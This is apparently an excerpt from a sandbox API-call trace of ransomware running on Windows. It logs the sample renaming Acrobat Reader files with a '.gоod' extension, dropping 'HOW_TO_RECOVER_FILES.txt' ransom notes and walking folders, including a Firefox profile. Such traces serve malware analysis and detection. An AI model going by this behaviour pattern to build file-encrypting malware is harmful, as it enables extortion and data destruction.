(x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x208ec0b0 | out: lpFileInformation=0x208ec0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9f9ce128, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4c0)) returned 1 [0274.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebf90) returned 1 [0274.143] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\ui-strings.js.gоod")) returned 1 [0274.144] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ebcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8f [0274.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec1d0) returned 1 [0274.144] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0274.145] GetFileType (hFile=0x808) returned 0x1 [0274.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec140) returned 1 [0274.145] GetFileType (hFile=0x808) returned 0x1 [0274.145] WriteFile (in: hFile=0x808, lpBuffer=0x3a9a4a8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ec298, lpOverlapped=0x0 | out: lpBuffer=0x3a9a4a8*, lpNumberOfBytesWritten=0x208ec298*=0x5d0, lpOverlapped=0x0) returned 1 [0274.146] CloseHandle (hObject=0x808) returned 1 [0274.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0274.147] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\sk-sk", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\sk-sk", lpFilePart=0x0) returned 0x76 [0274.147] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\sk-sk\\*", lpFindFileData=0x208ebf80) Thread: id = 242 os_tid = 0xf2c [0217.841] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0218.103] CoGetContextToken (in: pToken=0x209eec80 | out: pToken=0x209eec80) returned 0x0 [0218.103] IUnknown:QueryInterface (in: This=0x12e64d0, riid=0x7ff9122eadf8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x209eecb8 | out: ppvObject=0x209eecb8*=0x12e64e8) returned 0x0 [0218.103] IComThreadingInfo:GetCurrentThreadType (in: This=0x12e64e8, pThreadType=0x209eed28 | out: pThreadType=0x209eed28*=0) returned 0x0 [0218.103] IUnknown:Release (This=0x12e64e8) returned 0x0 [0218.103] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0218.103] CoUninitialize () [0218.103] RoInitialize () returned 0x1 [0218.103] RoUninitialize () returned 0x0 [0218.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209eddf0) returned 1 [0218.104] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing", nBufferLength=0x105, lpBuffer=0x209ed890, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing", lpFilePart=0x0) returned 0x54 [0218.104] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\*", lpFindFileData=0x209edb10 | out: lpFindFileData=0x209edb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c5a8f2d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3d1ad183, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3d1ad183, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b3a0 [0218.107] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c5a8f2d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3d1ad183, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3d1ad183, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.108] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5a8f2d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5a8f2d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x5d35a42, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="allow-flashallow-digest256.pset", cAlternateFileName="ALLOW-~1.PSE")) returned 1 [0218.108] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5a8f2d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5a8f2d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x5b9ca22, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="allow-flashallow-digest256.sbstore", cAlternateFileName="ALLOW-~1.SBS")) returned 1 [0218.109] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5a8f2d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5a8f2d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x6aef8a9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="base-track-digest256.pset", cAlternateFileName="BASE-T~1.PSE")) returned 1 [0218.109] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5a8f2d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5a8f2d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x69f53fc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xf238, dwReserved0=0x0, dwReserved1=0x0, cFileName="base-track-digest256.sbstore", cAlternateFileName="BASE-T~1.SBS")) returned 1 [0218.109] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5a8f2d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5a8f2d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x6de2467, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="block-flash-digest256.pset", cAlternateFileName="BLOCK-~1.PSE")) returned 1 [0218.109] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5a8f2d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5a8f2d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x6d13474, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1de0, dwReserved0=0x0, dwReserved1=0x0, cFileName="block-flash-digest256.sbstore", cAlternateFileName="BLOCK-~1.SBS")) returned 1 [0218.109] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5a8f2d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5a8f2d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x6926e3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="block-flashsubdoc-digest256.pset", cAlternateFileName="BLOCK-~2.PSE")) returned 1 [0218.109] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x67d720d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1435c, dwReserved0=0x0, dwReserved1=0x0, cFileName="block-flashsubdoc-digest256.sbstore", cAlternateFileName="BLOCK-~2.SBS")) returned 1 [0218.109] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x5e77f5d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="except-flash-digest256.pset", cAlternateFileName="EXCEPT~1.PSE")) returned 1 [0218.109] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x5d394de, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0x0, dwReserved1=0x0, cFileName="except-flash-digest256.sbstore", cAlternateFileName="EXCEPT~1.SBS")) returned 1 [0218.110] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x5b9a2e1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="except-flashallow-digest256.pset", cAlternateFileName="EXCEPT~2.PSE")) returned 1 [0218.110] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x52202b3, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="except-flashallow-digest256.sbstore", cAlternateFileName="EXCEPT~2.SBS")) returned 1 [0218.110] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x60c4776, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="except-flashinfobar-digest256.pset", cAlternateFileName="EXCEPT~3.PSE")) returned 1 [0218.110] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x5fb9149, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x22c, dwReserved0=0x0, dwReserved1=0x0, cFileName="except-flashinfobar-digest256.sbstore", cAlternateFileName="EXCEPT~3.SBS")) returned 1 [0218.110] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x5fb4307, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="except-flashsubdoc-digest256.pset", cAlternateFileName="EXCEPT~4.PSE")) returned 1 [0218.110] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x5e7a69e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="except-flashsubdoc-digest256.sbstore", cAlternateFileName="EXCEPT~4.SBS")) returned 1 [0218.110] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c7267ee, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c7267ee, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3c7267ee, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x164ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog-badbinurl-shavar.pset", cAlternateFileName="GOOG-B~1.PSE")) returned 1 [0218.111] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c61b60e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c61b60e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3c641850, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xba3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog-badbinurl-shavar.sbstore", cAlternateFileName="GOOG-B~1.SBS")) returned 1 [0218.111] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c798e05, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c798e05, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3c798e05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog-downloadwhite-digest256.pset", cAlternateFileName="GOOG-D~1.PSE")) returned 1 [0218.111] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c7267ee, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c7267ee, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3c74c913, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4dec, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog-downloadwhite-digest256.sbstore", cAlternateFileName="GOOG-D~1.SBS")) returned 1 [0218.111] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cb9ee8b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3cb9ee8b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3cb9ee8b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5b40e, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog-malware-shavar.pset", cAlternateFileName="GOOG-M~1.PSE")) returned 1 [0218.111] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c988c26, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c988c26, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3ca93c89, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x87d82, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog-malware-shavar.sbstore", cAlternateFileName="GOOG-M~1.SBS")) returned 1 [0218.111] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce9e878, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3ce9e878, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3cea36a7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x50d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog-phish-shavar.pset", cAlternateFileName="GOOG-P~1.PSE")) returned 1 [0218.111] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ccf624f, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3ccf624f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3cdb4ed0, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4b542, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog-phish-shavar.sbstore", cAlternateFileName="GOOG-P~1.SBS")) returned 1 [0218.111] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d1ad183, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3d1ad183, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3d1ad183, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x42c02, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog-unwanted-shavar.pset", cAlternateFileName="GOOG-U~1.PSE")) returned 1 [0218.112] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cfe3506, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3cfe3506, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3d07be6b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3d686, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog-unwanted-shavar.sbstore", cAlternateFileName="GOOG-U~1.SBS")) returned 1 [0218.113] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x6ca0d5e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="mozplugin-block-digest256.pset", cAlternateFileName="MOZPLU~1.PSE")) returned 1 [0218.113] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x6aef8a9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="mozplugin-block-digest256.sbstore", cAlternateFileName="MOZPLU~1.SBS")) returned 1 [0218.113] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x640c7a3, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="mozstd-trackwhite-digest256.pset", cAlternateFileName="MOZSTD~1.PSE")) returned 1 [0218.113] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x63bfa55, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x55810, dwReserved0=0x0, dwReserved1=0x0, cFileName="mozstd-trackwhite-digest256.sbstore", cAlternateFileName="MOZSTD~1.SBS")) returned 1 [0218.113] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8f84110, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-block-simple.pset", cAlternateFileName="TEST-B~1.PSE")) returned 1 [0218.113] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8f37b31, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-block-simple.sbstore", cAlternateFileName="TEST-B~1.SBS")) returned 1 [0218.113] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8faa34f, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-flash-simple.pset", cAlternateFileName="TEST-F~1.PSE")) returned 1 [0218.114] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8f84110, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-flash-simple.sbstore", 